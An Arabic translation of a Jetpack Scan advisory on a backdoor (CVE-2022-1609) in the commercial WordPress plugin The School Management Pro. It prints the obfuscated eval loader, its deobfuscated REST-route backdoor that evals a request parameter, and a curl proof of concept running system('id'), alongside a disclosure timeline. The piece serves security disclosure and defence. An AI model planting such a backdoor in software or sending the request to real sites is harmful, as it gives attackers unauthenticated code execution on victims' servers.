تم العثور على Backdoor في البرنامج الإضافي The School Management Pro لـ WordPress

نشرت: 2022-05-20

تحتوي الإصدارات التي تسبق 9.9.7 من البرنامج المساعد WordPress "The School Management Pro" من Weblizar على باب خلفي يسمح لمهاجم غير مصادق بتنفيذ كود PHP عشوائي على المواقع التي تم تثبيت البرنامج المساعد عليها. إذا كان لديك إصدار سابق مثبتًا على موقعك ، فإننا نوصي بالترقية إلى الإصدار 9.9.7 أو أحدث على الفور. هذه قضية أمنية حرجة.

تابع القراءة للحصول على التفاصيل الكاملة.

تفاصيل:

  • اسم البرنامج المساعد: The School Management Pro
  • رابط البرنامج المساعد: school-management-pro ، school-management-pro-9.9.6 ، school-management-pro-9.9.5 ، the-school-management ، إلخ
  • المُصنِّع: Weblizar
  • الإصدارات المتأثرة: <9.9.7
  • CVE: CVE-2022-1609
  • درجة CVSS: 10.0 (حاسمة)
  • CVSS Vector: CVSS: 3.1 / AV: N / AC: L / PR: N / UI: N / S: C / C: H / I: H / A: H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

جزء من العمل هنا في Jetpack Scan هو دعم أعمال WordPress المستضافة لدينا عن طريق فحص الملفات المشبوهة الموجودة على المواقع التي نستضيفها. عادةً ما يكون هذا بسبب وضع علامة على ملف بواسطة أحد توقيعاتنا ، أو أن مالك الموقع قد وجد شيئًا مريبًا ويريد رأينا. كما هي طبيعة الأشياء ، أحيانًا تكون هذه الملفات حميدة ، وبعضها إيجابيات خاطئة ، وبعضها عبارة عن سلالات أو أشكال جديدة من البرامج الضارة تحتاج إلى مزيد من تصنيف العمل بشكل صحيح.

ولكن في بعض الأحيان ، يكون ما نحصل عليه أكثر إثارة للاهتمام معًا.

قبل أسبوعين وقعت حادثة واحدة من هذا القبيل. اتصل فريق الدعم المتصاعد في WordPress.com بنا بخصوص بعض الرموز المشوشة والضارة التي تم العثور عليها في مكون إضافي في عدة مواقع.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

بعد جولتين من تبسيط تافه ، يعطي هذا:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

الكود نفسه ليس مثيرًا للاهتمام: إنه باب خلفي واضح يتم إدخاله في كود التحقق من الترخيص الخاص بالمكوِّن الإضافي. يسمح لأي مهاجم بتنفيذ كود PHP عشوائي على الموقع مع تثبيت البرنامج المساعد ، كما يتضح من إثبات المفهوم أدناه:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

هذا هو نوع الأشياء التي نراها غالبًا في الملحقات الفارغة ؛ يحدث هذا كثيرًا لدرجة أن لدينا حالة مماثلة تمت تغطيتها بالفعل في منشور سابق. كان افتراضنا الأول أن هذا هو الحال أيضًا هنا ؛ قام مالكو الموقع بتثبيت مكون إضافي من مصدر مظلل.

ومع ذلك ، فقد تأكدنا من استلام المكونات الإضافية المثبتة مباشرة من البائع. تم تأكيد ذلك أيضًا بسرعة من قِبل البائع الذي أزال الرمز المخالف بعد أن علم بوجوده.

لقد حاولنا الحصول على مزيد من المعلومات من البائع حول وقت إدخال الباب الخلفي ، والإصدارات المتأثرة ، وكيف انتهى الأمر بالشفرة في المكون الإضافي في المقام الأول. لم ينجح هذا الجهد ، حيث قال البائع إنه لا يعرف متى أو كيف تم إدخال الشفرة في برامجهم.

لقد رأينا إصدارات من 8.9 على الأقل تحتوي على الباب الخلفي في أنظمتنا المستضافة ، ولكن نظرًا لعدم توفر أي معلومات واضحة حول وقت ظهور الباب الخلفي لأول مرة ، يجب أن نفترض أي إصدار قبل أن يتأثر 9.9.7.

يتسم اكتشاف المشكلة والتنبيه بها بمزيد من التعقيد من خلال المكون الإضافي الذي يعمل تحت عدد من الارتباطات الرخوة المختلفة ، وغالبًا ما يستخدم الرقائق التي تحتوي على رقم الإصدار. في أنظمتنا المستضافة ، رأينا هذه المتغيرات على الأقل:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

لا يحتوي الإصدار المجاني من مستودع المكونات الإضافية WordPress.org على رمز الترخيص ، كما أنه لا يتأثر بهذا الباب الخلفي.

الجدول الزمني

2022-05-04: يكتشف فريق دعم WordPress.com المتصاعد الشفرة المحقونة ويتواصل مع Jetpack Scan لتحليل النتائج والتحقق منها. بعد التأكد من أنه باب خلفي ، يقومون بإخطار البائع.

2022-05-05: أكد البائع أن الكود المحقون قيد التوزيع بالفعل ، ويقدم لنا الإصدار 9.9.7 حيث تمت إزالة الباب الخلفي. نحن نؤكد أنها نظيفة.

2022-05-06: يقوم البائع بتوزيع الإصدار 9.9.7 بنشاط على عملائه ويشجعهم على التحديث.

2022-05-10: رد البائع على أسئلتنا الإضافية حول ما إذا كان يعرف وقت إضافة الباب الخلفي ، لكنه ادعى أنه لا يعرف. لقد قدموا نسخة سابقة ، 9.9.4 ، والتي تضمنت الباب الخلفي.

خاتمة

نوصي بأن يتم ترقية أي موقع به أي إصدار أقدم من 9.9.7 من The School Management Pro على الفور.

في Jetpack ، نعمل بجد للتأكد من حماية مواقع الويب الخاصة بك من هذه الأنواع من الثغرات الأمنية. نوصي بأن يكون لديك خطة أمان لموقعك تتضمن فحص الملفات الضارة والنسخ الاحتياطي. Jetpack Security هو أحد خيارات الأمان الرائعة في WordPress لضمان أمان موقعك وزوارك.

الاعتمادات

كان هذا البحث عبارة عن تعاون بين فريق الدعم المتصاعد WordPress.com مع Nic Sevic و Thom Stackhouse و Joshua Goode و Jetpack Scan مع Harald Eilertsen و Fioravante Cavallari. أيضًا بفضل Benedict Singer على التعليقات والتصحيحات.